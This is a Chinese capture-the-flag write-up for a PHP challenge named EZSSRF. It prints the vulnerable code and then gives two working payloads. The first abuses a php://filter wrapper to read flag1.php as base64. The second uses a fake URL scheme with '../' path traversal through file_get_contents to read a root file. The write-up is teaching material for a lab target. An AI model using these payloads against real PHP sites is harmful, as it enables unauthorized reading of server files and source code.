道格安全CTF-EZSSRF
1. 代码审计
进入靶场,我们发现一页PHP代码。
<?php
highlight_file(__FILE__);
//find something in flag1.php <-- 提示1
$d = $_GET['d'];
$file = $_GET['ctf'];
if (filter_var($d, FILTER_VALIDATE_URL)) {
$r = parse_url($d);
if (isset($file)) {
if (strpos($file, "lai") !== false && strpos($file, "ya") !== false) {
@include($file . '.php');//解题点一
} else {
die("Sorry, you can not pass");
}
if (preg_match('/labour$/', $r['host'])) {
@$a = file_get_contents($d);//解题点二
echo ($a);
} else {
die("error");
}
} else {
die("why?");
}
} else {
echo "Invalid URL";
}
?>
2. 信息提取
快速的看一遍,我们注意到include函数与file_get_contents函数,这两个函数是SSRF中十分常见的函数,一般解题的点就是出现在这两个函数上。
3. 解题点一
include函数中含有可变参数,但是这个参数有两个isset函数进行合法性检验,很明显第一个解题点的思路就是绕过检验然后使用php伪协议进行文件读取,通过注释我们可以知道我们的目标文件。
绝大多数的php函数是无法处理数组参数的,所依isset函数可以传入一个数组,这样可以使isset强制返回false,但是同理include函数也无法处理数组参数,所以数组传参不可行。
所以我们这里要利用到PHP伪协议的一个特性,PHP伪协议中出现未知的协议键时会自动将其忽略,这样我们就可以绕过检验。
payload: ctf=php://filter/convert.base64-encode/laiya/resource=flag1&d=http://www.baidu.com
结果:
<?php
echo "Wc bro 想直接看?";
$flag = "you can find it in /flll1ag2.txt";
4. 解题点二
将得到的Base64数据进行解密,得到flag的所在的文件,位于根目录的flll1ag2.txt。
然后我们注意到file_get_contents
函数,它可以将一个整个文件读入一个字符串,在SSRF漏洞中有不少它的身影,这里利用到它的一个特性:当它遇到不认识的协议键时会将此字符串当做文件路径处理,也就是将协议键视为一个文件夹来处理,这样就会导致我们只要不断的访问上级文件夹就能造成目录穿越。
payload: ctf=php://laiya/&d=abc://labour/../../../../../flll1ag2.txt
结果:D0g3{Happy_T0_Th1s_Game!}
5. 总结
本题涉及到两个知识点:
- PHP伪协议对未知未知协议键的绕过
- file_get_contents函数造成的目录穿越